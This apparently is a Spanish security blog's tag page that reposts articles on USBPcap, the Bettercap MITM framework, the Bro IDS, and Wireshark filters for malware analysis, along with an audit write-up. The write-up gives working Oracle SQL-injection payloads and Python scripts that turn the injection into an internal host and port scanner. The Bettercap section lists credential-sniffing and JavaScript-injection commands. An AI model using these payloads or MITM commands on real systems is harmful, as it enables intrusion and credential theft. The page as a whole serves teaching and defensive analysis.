Mostrando entradas con la etiqueta sniffers. Mostrar todas las entradas
Mostrando entradas con la etiqueta sniffers. Mostrar todas las entradas

martes, 20 de octubre de 2015

USBPcap: capturar todo lo que pasa por una usb como pcap

USBPcap es un sniffer USB de código abierto para Windows (XP, Vista, 7 y 8). Es capaz de capturar toda la actividad de cualquier dispositivo USB en formato pcap para un posterior análisis con Wireshark (1.10.0rc1 o superior).
 

Su funcionamiento es muy sencillo. Una vez descargado (USBPcapSetup-1.0.0.7.exe) e instalado nos iremos a su directorio y ejecutaremos USBPcapCMD.exe para ver los Root Hubs. Después seleccionaremos el dispositivo que queremos monitorizar y el fichero donde se volcará la captura:


Con Control+C pararemos cuando queremos la captura y podremos analizar el fichero pcap con Wireshark. Como podéis comprobar en la siguiente imagen podemos registrar toda la actividad del USB, incluido la escritura en ficheros:

También podemos ver la captura en tiempo real con el siguiente comando:
USBPcapCMD.exe -d \\.\USBPcap1 -o - | "d:\Program Files2\Wireshark\Wireshark.exe" -k -i -

 
Web del proyecto: http://desowin.org/usbpcap/index.html
Página Github del proyecto: https://github.com/desowin/usbpcap


Fuente: http://secure-tec.blogspot.com.co/2014/12/usbpcap.html

lunes, 3 de agosto de 2015

Bettercap, un completo framework para hacer MITM portable y modular

Bettercap es un completo y modular, framework (marco) para hacer ataques MITM (Man-in-the-middle) además de ser portátil y fácilmente extensible. Su autor es Simone Margaritelli también conocido como Evilscocket. El proyecto nace de la necesidad de mejorar la anticuada herramienta ettercap. Una herramienta sobretodo enfocada a analizar tráfico HTTP.







Diferencias y mejoras con ettercap

  • ettercap era una gran herramienta, pero se hizo su tiempo.
  • Hemos encontrado filtros ettercap simplesque no funcionan en muchos casos, ya que están obsoletos y tampoco se han mantenido ya que no hay tantos programadores de bajo nivel C interesados en mantenerla.
  • ettercap está volviendo loco e inestable en redes grandes ... Si usted ha tratado de utilizar la función de descubrimiento de host del ettercap en cualquier red grande verás que simplemente no se puede escalar bien.
  •  sí se puede ver las conexiones y cosas pcap prima, buen juguete, sino como un investigador profesional quiero ver solamente cosas relevantes.
  • A menos que seas un desarrollador C / C ++, no se puede ampliar fácilmente ettercap o hacer su propio módulo
De hecho se puede utilizar más de una herramienta de ... tal vez arpspoof para realizar el envenenamiento real, mitmproxypara interceptar HTTP cosas y se inyectan sus cargas útiles y demás ... no sé ustedes, pero no odias cuando necesitas utilizar una docena de herramientas sólo para realizar un solo ataque, sobre todo cuando tienes que hacer un poco de magia negro con el fin de hacer que todos ellos trabajan en una distro como OSX.

Otra herramienta similar es MITMf

Cómo instalar Bettercap


Usando gem: 

gem install bettercap

 O clonando el repositorio de github:
git clone https://github.com/evilsocket/bettercap
cd bettercap
gem build bettercap.gemspec
sudo gem install bettercap*.gem
 Todas las dependencias se instalarán de forma automática a través del sistema de GEM, en algunos casos puede que tengas que instalar alguna dependencia del sistema con el fin de que todo funcione:

 Dependencias

sudo apt-get install ruby-dev libpcap-dev

Ejemplos de uso

Puede orientar su red local totalidad o una única dirección IP local específica, no importa realmente, las capacidades de suplantación ARP bettercap y sus múltiples hosts agentes de descubrimiento va a hacer el trabajo sucio por ti.

Sólo tienes que abrir la herramienta y esperar a que se haga su trabajo ...


Actualmenteel sniffer es capaz de diseccionar e imprimir desde la red la siguiente información:


  • URL que ha sido visitada
  • HTTPS acogida que se visita.
  • HTTP POSTeado datos.
  • HTTP Basic y Digest autenticaciones.
  • Credenciales FTP.
  • Credenciales de IRC.
  • POP, IMAP y SMTP credenciales.
  • NTLMv1 / v2 (HTTP, SMB, LDAP, etc.) credenciales.


También incorpora un Proxy modular transparente

sudo bettercap --proxy --proxy-port=8081


 y un servidor http integrado.

sudo bettercap --httpd --http-path=/path/to/your/js/file/ --proxy --proxy-module=inject.rb 


Fuentes:
http://www.bettercap.org/ 
https://www.reddit.com/r/netsec/comments/3enbwy/bettercap_a_complete_modular_portable_and_easily/

Fuente: http://blog.elhacker.net/2015/07/bettercap-un-completo-framework-para-hacer-ataques-mitm.html

jueves, 30 de julio de 2015

Bro: La herramienta de análisis forense de pcaps que debes conocer




Una de las partes fundamentales en el análisis dinámico de códigos maliciosos es la obtención de información a partir de una captura de tráfico. Para lograr este objetivo además de las opciones para hacer gráficos, el uso de filtros en Wireshark para detectar actividad maliciosa suele ser una de las alternativas más utilizada.

Pero no es la única herramienta para lograrlo, por ejemplo Malcom permite examinar estructuras de redes maliciosas facilitando el análisis de las relaciones entre las diversas direcciones IP, dominios y servidores DNS que toman parte en una comunicación C&C, permitiendo procesar rápidamente los datos recolectados y creando gráficos intuitivos que ponen en evidencia las conexiones entre equipos en red. Otra interesante opción para analizar archivos pcap es CapTipper, desarrollada en Python tiene una serie de características que facilita la lectura de estos archivos permitiendo ahorrar tiempo y optimizando el trabajo de auditoría.

Dentro de todo el arsenal de herramientas que se podrían encontrar para realizar este tipo de actividades encontramos Bro, pensado como un sistema de detección de intrusiones (IDS) que corre en plataformas UNIX/Linux y cuyo principal objetivo es permitir el análisis del tráfico de red en busca de actividad sospechosa. Ya de hecho la habíamos utilizado para extraer información de archivos pcap y visualizar las capturas de tráfico de botnets con OpenGraphiti, además de servir para procesar y simplificar la identificación de patrones entre los bots durante la Operación Liberpy.

Dado que es una herramienta bastante útil y que por su facilidad para hacer scripts resulta bastante flexible y adaptable, sobre todo para el análisis forense de una gran cantidad de datos. Vamos a hacer escribir una serie de post con información de cómo utilizar Bro y algunas ideas que podrían resultar relevantes.

Bro 101: Por dónde empezar

Esta herramienta permite analizar la actividad de red a nivel de aplicación para ir comparando este comportamiento con patrones que pudieran ser considerados sospechosos ya sea por el tipo de paquetes que se intercambien o las características de su contenido.

Para iniciar nuestros análisis solo debemos ejecutar el comando para copiar el repositorio directamente desde GitHub. Con estos además de asegurarnos que tenemos la última versión se nos facilitará su actualización:

git clone --recursive git://git.bro.org/org

Una vez tenemos el repositorio en nuestra máquina, solo nos queda instalar algunas dependencias
 y ejecutar la instalación de nuestra herramienta. Esta herramienta es 
conocida por sus funcionalidades de IDS, pero en este caso nos va 
interesar darle una mirada a las características para extraer 
información de las capturas de tráfico.

Dentro de las características que vale la pena resaltar en la capacidad para analizar grandes volúmenes de tráfico. El funcionamiento de la herramienta como ya lo mencionamos se hace a través de scripts, con los cuales se hace la extracción de información que se esté buscando.

Como resultado de aplicar Bro sobre un archivo pcap resultan varios archivos con información más específica y organizada de acuerdo a las características de cada script. Utilizando la opción más básica de Bro podemos obtener una gran cantidad de información discriminada por protocolos:

bro –r [ruta_archivo_pcap]

Ahora tenemos varios archivos con la información organizada de diferentes manera. Por ejemplo en el archivo http.log
 se pueden encontrar filtradas las peticiones HTTP de la captura de 
tráfico. Como se puede ver en la siguiente imagen, algo que puede llamar
 la atención durante un análisis es la descarga de un archivo 
ejecutable:

http.log_WLS

El string que está resaltado en amarillo, nos va a permitir hacer seguimiento de este evento en particular a través de los demás archivos generados por la herramienta. Por ejemplo si vamos al archivo conn.log y buscamos esta cadena de caracteres vamos a obtener más información sobre la conexión como el momento en que se llega el primer paquete, las ip y puertos utilizados, la duración de la conexión, el origen de la conexión, entre otra información que podría resultar interesante para el análisis:

conn.log_WLSHasta este punto con el manejo de Bro podemos obtener información similar a la que podríamos encontrar en otras herramientas como Wireshark o CapTipper, solo que organizada de una manera diferente. En nuestro próximo post, vamos a ver como apoyarnos en scripts de Bro para reunir información de diferentes fuentes y que nos quede disponible para su análisis.


Créditos imagen: © Mike Mozart/Flickr
Fuente: http://www.welivesecurity.com/la-es/2015/07/30/bro-la-herramienta-de-analisis-forense-de-pcaps-que-debes-conocer/


miércoles, 15 de abril de 2015

Uso de filtros en Wireshark para detectar actividad maliciosa

Desde el Laboratorio de ESET Latinoamérica las muestras son analizadas con el fin de obtener información sobre su comportamiento. El análisis dinámico de red se realiza en gran parte con Wireshark y brinda información en cuanto a las conexiones que se llevan a cabo.

¿Qué es Wireshark?

Wireshark es una herramienta multiplataforma utilizada para realizar análisis sobre paquetes de red. La utilización de esta herramienta puede parecer de gran complejidad en un principio, pero es de gran utilidad una vez conocida su interfaz y su forma de operar. Existen diferentes usos para los cuales puede aplicarse Wireshark. Dentro del análisis dinámico de códigos maliciosos se la utiliza para detectar conexiones ocultas del propio malware con direcciones remotas para obtener otros archivos, para reportarse a un panel de control en caso de una botnet, entre otras variantes.
En primera instancia, para realizar un análisis dinámico de un código malicioso se procede a infectar un sistema en un entorno controlado. Por lo general, se recurre a una máquina virtual. De esta forma, es posible ejecutar Wireshark y seleccionar la interfaz de red de la máquina virtual para comenzar a capturar los paquetes de red. A continuación puede visualizarse una captura de cómo se realiza la mencionada tarea:
Interfaz de red

Utilización de filtros
Una vez iniciada la captura es posible filtrar los paquetes capturados de acuerdo a la necesidad de quien esté analizando el malware. Como primer tarea, es posible reconocer a que servidores se conectó a través de las peticiones DNS. Para observarlo con más comodidad es posible aplicar un filtro. Específicamente, si se escribe DNS en el campo de los filtros y se lo aplica, serán visibles todas las resoluciones de nombres en direcciones IP. En el caso del malware, permite reconocer con que servidores se conecta. A continuación puede observarse una captura:
Filtro DNS
Otro aspecto a tener en cuenta son las peticiones realizadas. Aplicando el filtro “http.request” es posible obtener todos los GET y POST que fueron realizados durante el periodo de captura. Este tipo de peticiones es muy utilizado por los códigos maliciosos, incluso para enviar información sobre el sistema infectado. A continuación, puede observarse una captura de un análisis real sobre un malware que obtiene datos y archivos desde un servidor remoto:
Request GET
Un caso particular han sido aquellos códigos maliciosos que utilizan el protocolo SMTP para propagarse a través de correo electrónico. En estos casos es posible visualizar dichos paquetes a través del filtro SMTP o incluso es posible filtrar los paquetes para observar, por ejemplo, el remitente del correo. Esto se realiza a través del filtro “smtp.req.parameter && contains “FROM“”. De la misma forma, es posible visualizar aquellos paquetes que contienen el cuerpo del mensaje. Esta tarea puede realizarse a través de filtro “smtp.data.fragment”. A continuación puede visualizarse una captura con uno de los filtros aplicado:
Mail From
Es importante resaltar que los filtros explicados anteriormente no son los únicos. Existen una gran variedad para aplicar de acuerdo a la necesidad. Otro punto a tener en cuenta es que a medida que se obtienen los paquetes de acuerdo al filtro aplicado, es posible obtener toda la secuencia del paquete completo si es necesario. Para ello, solo es necesario colocar el cursor sobre el propio paquete y en el menú contextual elegir la opción de “follow tcp stream”. De esa forma se podrá visualizar el paquete completo tal como se muestra en la siguiente imagen:
Follow TCP stream
Los filtros son de gran utilidad y pueden ser aplicados en conjunto como parte de operaciones lógicas. Pueden utilizarse sobre la captura o especificarse previamente para que solo capturen lo especificado en el propio filtro. Este tipo de herramientas no solo es utilizado en el análisis de malware sino también en el estudio de protocolos de red, la búsqueda de vulnerabilidades y demás aplicaciones.

Fernando Catoira
Analista de Seguridad
Autor Fernando Catoira, ESET

FUENTE: http://www.welivesecurity.com/la-es/2013/01/28/uso-filtros-wireshark-para-detectar-actividad-maliciosa/

lunes, 16 de marzo de 2015

De una inyección SQL a un escáner de red

Hace poco, haciendo una auditoría web, encontré un parámetro que era vulnerable a SQL injection.

Tras un pequeño análisis, identifiqué que se trataba de un servidor Oracle y que no iba a ser fácil extraer información de la base de datos porque se ve que la inyección debía de estar en la llamada a un procedimiento almacenado.

Algo así como:

procedimiento_almacenado (parámetro_vulnerable);

Oracle, en esta sintaxis, no permite añadir consultas del tipo SELECT, así que realizar las típicas inyecciones para determinar el usuario de la base de datos, el nombre de ésta, qué tablas las forman... no iba a funcionar.

Tras probar muchas cosas, vi que sí que podía utilizar variables SYS_CONTEXT para recuperar variables del sistema relativas a la configuración ya que, aunque no podía hacer un:

SELECT user from DUAL;

Sí que podía (ojo, era una inyección de tipo numérico):

55 - (ASCII (SUBSTR (user,1,1)) - ASCII('U') )

O, del mismo modo:

55 - (ASCII (SUBSTR (SYS_CONTEXT('USERENV', 'CURRENT_USER'), 1, 1)) - ASCII('U') )

Con esto, no tenía acceso a los datos de la base de datos en sí, pero obtuve información principalmente relacionada con el entorno Oracle como usuarios, dirección IP del servidor, tipo de autenticación utilizada...

Ya estaba a punto de desesperarme y decidir que no podía llegar mucho más allá cuando me acordé de los procedimientos almacenados de los que os hablé en la entrada anterior: UTL_HTTP y UTL_INADDR.

Así que pensé: ¿qué pasará si digo de utilizar UTL_HTTP para acceder a otros puertos del servidor para intentar determinar si están o no abiertos? Algo en plan:
  • http://10.0.2.51:22
  • http://10.0.2.51:80
  • http://10.0.2.51:443
  • http://10.0.2.51:8080
  • http://10.0.2.51:1521
  • ...
Imaginad mi sorpresa cuando veo que efectivamente funcionaba. Es más, Oracle era tan bondadoso que me decía claramente si el puerto estaba o no abierto:

  • Error cuando el puerto estaba abierto:
java.sql.SQLException: ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1722 ORA-29263: HTTP protocol error ORA-06512: at line 1 at [...]

  • Error cuando el puerto estaba cerrado:
java.sql.SQLException: ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1722 ORA-12541: TNS:no listener ORA-06512: at line 1 at [...]


Creo que la siguiente pregunta que me hice es evidente... ¿Y si escaneo otros hosts de la red? Pues exactamente igual. En este caso, lo que hice fue siempre preguntar por el puerto 22 y observé las respuestas:

  • Cuando no existía el host:
java.sql.SQLException: ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1722 ORA-12543: TNS:destination host unreachable ORA-06512: at line 1 at [...]

Cuando existía el host en la red, el error que devolvía era alguno de los dos errores asociados a si el puerto estaba o no abierto.

Así que cogí y en un rato me hice mi propio escáner de puertos a través del SQLi que había encontrado. Éste es el resultado que puede servir como prueba de concepto:

Escaneo de red:


import requests
 
cookies = { "JSESSIONID" : "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" }
headers = { "Content-Type" : "application/x-www-form-urlencoded"}
 
i = 0
 
for i in range(254):
 r = requests.post ("http://www.example.com/vulnerable_page", "parametro_vulnerable=55 - (length (utl_http.request('http://10.0.2.%s:22/')) )" % str(i+1), cookies=cookies, headers=headers )
 
 if not "destination host unreachable" in r.text:
  print "Alive: 10.0.2.%s" % str(i+1)

Este script se ejecutará directamente:

$ python network_scan.py

Escaneo de puertos:



import requests
import sys
 
cookies = { "JSESSIONID" : "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" }
headers = { "Content-Type" : "application/x-www-form-urlencoded"}
 
topports = (26, 554, 32768, 8000, 8443, 2000, 1026, 179, 5060, 514, 10000, 6001, 81, 113, 548, 465, 1720, 199, 8888, 587, 1025, 5900, 993, 995, 111, 1723, 8080, 3306, 135, 53, 143, 139, 445, 110, 3389, 25, 22, 21, 443, 23, 80, 37, 119, 9100, 4899, 2717, 1755, 873, 1028, 49157, 5051, 6646, 9, 1029, 13, 1900, 3986, 5432, 3000, 5190, 7070, 5009, 9999, 444, 3128, 8009, 389, 7, 144, 5101, 544, 543, 49156, 427, 5357, 990, 513, 6000, 49155, 1110, 2121, 106, 5800, 79, 88, 2049, 8081, 49153, 631, 5631, 5000, 646, 5666, 1027, 49154, 8008, 515, 2001, 49152, 1433)
 
i = 0
 
for i in topports:
 r = requests.post ("http://www.example.com/vulnerable_page", "parametro_vulnerable=55 - (length (utl_http.request('http://%s:%s/')) )" % ( sys.argv[1], str(i)), cookies=cookies, headers=headers )
 
 if not "no listener" in r.text:
  print "Open port: %s" % str(i)


Este script, recibe la dirección IP a escanear como entrada. Por ejemplo:

$ python port_scan.py 10.0.2.51

Y de este modo conseguí que una vulnerabilidad que no hubiera pasado ni pena ni gloria, se convirtiera en algo interesante. Es más, con más tiempo podría haber intentado acceder a otros de los servicios que encontré abiertos (entre ellos un JBoss en un puerto 8080).
 
Fuente: http://laxmarcaellugar.blogspot.com/2014/03/de-una-inyeccion-sql-un-escaner-de-red.html

miércoles, 11 de febrero de 2015

USBPcap: sniffer USB para Windows

USBPcap es un sniffer USB de código abierto para Windows (XP, Vista, 7 y 8). Es capaz de capturar toda la actividad de cualquier dispositivo USB en formato pcap para un posterior análisis con Wireshark (1.10.0rc1 o superior).
 

Su funcionamiento es muy sencillo. Una vez descargado (USBPcapSetup-1.0.0.7.exe) e instalado nos iremos a su directorio y ejecutaremos USBPcapCMD.exe para ver los Root Hubs. Después seleccionaremos el dispositivo que queremos monitorizar y el fichero donde se volcará la captura:



Con Control+C pararemos cuando queremos la captura y podremos analizar el fichero pcap con Wireshark. Como podéis comprobar en la siguiente imagen podemos registrar toda la actividad del USB, incluido la escritura en ficheros:



También podemos ver la captura en tiempo real con el siguiente comando:

USBPcapCMD.exe -d \\.\USBPcap1 -o - | "d:\Program Files2\Wireshark\Wireshark.exe" -k -i -

 

Web del proyecto: http://desowin.org/usbpcap/index.html
Página Github del proyecto: https://github.com/desowin/usbpcap


Fuente: http://www.hackplayers.com/2014/12/usbpcap-sniffer-usb-para-windows.html